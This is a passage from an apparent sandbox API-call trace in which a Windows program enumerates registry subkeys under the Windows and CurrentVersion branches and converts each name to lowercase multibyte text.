cchName=0x104 | out: lpName="Tpm") returned 0x0 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0241.522] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0241.522] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xb3c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0241.522] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xb3c1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0241.523] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xb3b9b8, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xb3c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0241.523] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Updates") returned 0x0 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0241.523] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xb3b9b8, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xb3c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0241.523] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="VBA") returned 0x0 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0241.523] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xb3c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0241.524] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0241.524] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="WAB") returned 0x0 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0241.524] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0241.524] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0241.524] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Windows") returned 0x0 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0241.525] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0xa0) returned 0x0 [0241.525] RegCloseKey (hKey=0x24) returned 0x0 [0241.525] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xb3c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0241.525] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0x24) returned 0x0 [0241.525] RegCloseKey (hKey=0xa0) returned 0x0 [0241.525] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName="App Management") returned 0x0 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0241.525] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xb3b9b8, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0241.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0241.526] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Applets") returned 0x0 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0241.526] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Audio") returned 0x0 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0241.526] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0241.526] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xb3b9b8, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0241.526] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xb3b9b8, cchName=0x104 | out: lpName="BITS") returned 0x0 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0241.527] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xb3c160, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0241.527] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0241.527] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xb3c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0241.527] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0241.527] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xb3c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xb3c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xb3b9b8, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xb3c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xb3b9b8, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0241.528] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0241.529] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Ext") returned 0x0 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0241.529] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xb3b9b8, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0241.529] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0241.529] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Hints") returned 0x0 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0241.529] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xb3b9b8, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0241.530] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xb3b9b8, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 